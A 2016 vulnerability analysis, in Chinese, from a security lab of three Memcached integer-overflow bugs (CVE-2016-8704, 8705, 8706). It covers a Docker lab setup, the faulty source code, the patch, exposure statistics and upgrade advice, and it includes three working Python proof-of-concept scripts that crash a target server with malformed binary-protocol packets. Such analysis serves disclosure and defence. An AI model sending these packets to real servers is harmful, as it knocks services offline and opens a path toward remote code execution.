Author: p0wd3r, dawu (知道創宇404安全實驗室)

Date: 2016-11-01

0x00 漏洞概述

1.漏洞簡介

Memcached是一個分布式的高速緩存系統,近日研究者發現在其<1.4.33的版本中存在三個整數溢出漏洞(http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html),通過這幾個漏洞攻擊者可以觸發堆溢出進而遠程執行任意命令。官方在11月1日發布了升級公告

2.漏洞影響

任意命令執行

3.影響版本

< 1.4.33

0x01 漏洞復現

1. 環境搭建

Dockerfile:

FROM debian:jessie

# add our user and group first to make sure their IDs get assigned consistently, regardless of whatever dependencies get added
RUN groupadd -r memcache && useradd -r -g memcache memcache

RUN apt-get update && apt-get install -y --no-install-recommends \
                libevent-2.0-5 \
        && rm -rf /var/lib/apt/lists/*

ENV MEMCACHED_VERSION 1.4.32

RUN buildDeps=' \
                gcc \
                libc6-dev \
                libevent-dev \
                make \
                perl \
                wget \
        ' \
        && set -x \
        && apt-get update && apt-get install -y $buildDeps --no-install-recommends \
        && rm -rf /var/lib/apt/lists/* \
        && wget -O memcached.tar.gz "http://memcached.org/files/memcached-$MEMCACHED_VERSION.tar.gz" \
        && mkdir -p /usr/src/memcached \
        && tar -xzf memcached.tar.gz -C /usr/src/memcached --strip-components=1 \
        && rm memcached.tar.gz \
        && cd /usr/src/memcached \
        && ./configure \
        && make -j$(nproc) \
        && make install \
        && cd / && rm -rf /usr/src/memcached \
        && apt-get purge -y --auto-remove $buildDeps

COPY docker-entrypoint.sh /usr/local/bin/
RUN ln -s usr/local/bin/docker-entrypoint.sh /entrypoint.sh # backwards compat
ENTRYPOINT ["docker-entrypoint.sh"]

USER memcache
EXPOSE 11211
CMD ["memcached", "-vv"]

docker-entrypoint.sh:

#!/bin/sh
set -e

# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
        set -- memcached "$@"
fi

exec "$@"
docker run --name mem-vuln memcached:vuln

2.漏洞分析

漏洞作者已經提供了很詳細的描述,在這里僅做簡單的翻譯和整理。

Memcached支持兩種協議來存取數據:ASCII和binary,當我們用binary存取時會出現漏洞。

三個漏洞的觸發點均在item.c中的do_item_alloc函數中,關鍵部分如下:

size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
...
it = slabs_alloc(ntotal, id, &total_bytes, 0);
...
memcpy(ITEM_key(it), key, nkey);
it->exptime = exptime;
memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
it->nsuffix = nsuffix;

程序根據用戶可控的nkeynbytes來創建分配內存的大小,然后將另一個可控的key拷貝到分配的內存區域中,在這個函數匯總并沒有對數據長度進行檢測,所以如果key的大小 > 分配空間的大小,則會導致堆溢出。

下面分別看這三個漏洞:

CVE-2016-8704

memcached.c中,當進行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a) 操作時會進入這樣一個分支:

case PROTOCOL_BINARY_CMD_APPEND:
case PROTOCOL_BINARY_CMD_PREPEND:
    if (keylen > 0 && extlen == 0) {
        bin_read_key(c, bin_reading_set_header, 0);
    } else {
        protocol_error = 1;
    }
    break;

這里并僅檢查了key的長度,并沒有檢查body的長度。

解析完binary后程序進入了process_bin_append_prepend函數中:

assert(c != NULL);

key = binary_get_key(c);
nkey = c->binary_header.request.keylen; [2]
vlen = c->binary_header.request.bodylen - nkey; [3]

if (settings.verbose > 1) {
    fprintf(stderr, "Value len is %d\n", vlen);
}

if (settings.detail_enabled) {
    stats_prefix_record_set(key, nkey);
}

it = item_alloc(key, nkey, 0, 0, vlen+2); [4]

這里取我們請求中keylenbodylen,然后并沒有做長度檢測,最后調用item_alloc來存儲數據,而item_alloc是之前提到的do_item_alloc的封裝,所以最后在do_item_alloc中觸發溢出。

PoC:

import struct
import socket
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_PREPEND_Q = "\x1a"
key_len = struct.pack("!H",0xfa)
extra_len = "\x00"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
body = "A"*1024

if len(sys.argv) != 3:
        print "./poc_crash.py <server> <port>"

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body

set_packet = "set testkey 0 60 4\r\ntest\r\n"
get_packet = "get testkey\r\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1],int(sys.argv[2])))
s1.sendall(set_packet)
print s1.recv(1024)
s1.close()


s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],int(sys.argv[2])))
s2.sendall(packet)
print s2.recv(1024)
s2.close()

s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1],int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
s3.close()

Crash:

Alt text

CVE-2016-8705

memcached.c中,當進行Set (opcode 0x01),Add (opcode 0x02), Replace (opcode 0x03) ,SetQ (opcode 0x11), AddQ (opcode 0x12) ,ReplaceQ (opcode 0x13)作時會進入這樣一個分支:

case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_REPLACE:
    if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {
        bin_read_key(c, bin_reading_set_header, 8);
    } else {
        protocol_error = 1;
    }

在這里需滿足bodylen >= (keylen + 8),這里要注意的是各變量類型如下:

int extlen = c->binary_header.request.extlen;
int keylen = c->binary_header.request.keylen;
uint32_t bodylen = c->binary_header.request.bodylen;

解析后程序進入process_bin_update

static void process_bin_update(conn *c) {
    char *key;
    int nkey;                           
    int vlen;                           
    item *it;
    protocol_binary_request_set* req = binary_get_request(c);

    assert(c != NULL);

    key = binary_get_key(c);
    nkey = c->binary_header.request.keylen;

    /* fix byteorder in the request */
    req->message.body.flags = ntohl(req->message.body.flags);
    req->message.body.expiration = ntohl(req->message.body.expiration);

    vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen);
    ...
    it = item_alloc(key, nkey, req->message.body.flags,
    realtime(req->message.body.expiration), vlen+2);

由于bodylen為無符號整形,在賦值給整形的vlen時會做類型轉換,這樣導致當我們設置bodylen最高位為1時在轉換成整形時bodylen會變成一個負數,最后vlen也就成了一個負數,進而調用item_alloc觸發漏洞。

PoC:

import struct
import socket
import sys


MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H",0xfa)
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0xffffffd0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I",0xe10)
body = "A"*1024

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
if len(sys.argv) != 3:
        print "./poc_add.py <server> <port>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()

Crash:

Alt text

CVE-2016-8706

在使用SASL進行認證時,進入process_bin_sasl_auth函數:

static void process_bin_sasl_auth(conn *c) {
    // Guard for handling disabled SASL on the server.
    if (!settings.sasl) {
        write_bin_error(c, PROTOCOL_BINARY_RESPONSE_UNKNOWN_COMMAND, NULL,
                        c->binary_header.request.bodylen
                        - c->binary_header.request.keylen);
        return;
    }

    assert(c->binary_header.request.extlen == 0);

    int nkey = c->binary_header.request.keylen;     
    int vlen = c->binary_header.request.bodylen - nkey; 

    if (nkey > MAX_SASL_MECH_LEN) {     
        write_bin_error(c, PROTOCOL_BINARY_RESPONSE_EINVAL, NULL, vlen);
        c->write_and_go = conn_swallow;
        return;
    }

    char *key = binary_get_key(c);
    assert(key);

    item *it = item_alloc(key, nkey, 0, 0, vlen);

同第一漏洞,只要bodylen 小于keylen即可。

PoC:

import struct
import socket
import sys


MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_SET = "\x21"
key_len = struct.pack("!H",32)
body_len = struct.pack("!I",1)
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len +   body_len*2 + "A"*1000
if len(sys.argv) != 3:
    print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()

Crash:

Alt text

3.補丁分析

Alt text

在分配內存前檢查了數據的大小,在sasl認證的函數中更改了數據類型并檢查大小。

0x02 影響分布

zoomeye搜索關鍵詞為: app:memcached,一共搜索到59756條結果,分布如下:

Alt text

其中,中美兩國收影響設備居多。以下是zoomeye中中國各省受影響主機分布:

Alt text

0x03 修復方案

升級至1.4.33 (https://github.com/memcached/memcached/wiki/ReleaseNotes1433

0x04 參考

https://www.seebug.org/vuldb/ssvid-92505

https://www.seebug.org/vuldb/ssvid-92506

https://www.seebug.org/vuldb/ssvid-92507

https://github.com/memcached/memcached/wiki/ReleaseNotes1433

http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html

http://www.talosintelligence.com/reports/TALOS-2016-0219/

http://www.talosintelligence.com/reports/TALOS-2016-0220/

http://www.talosintelligence.com/reports/TALOS-2016-0221/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/95/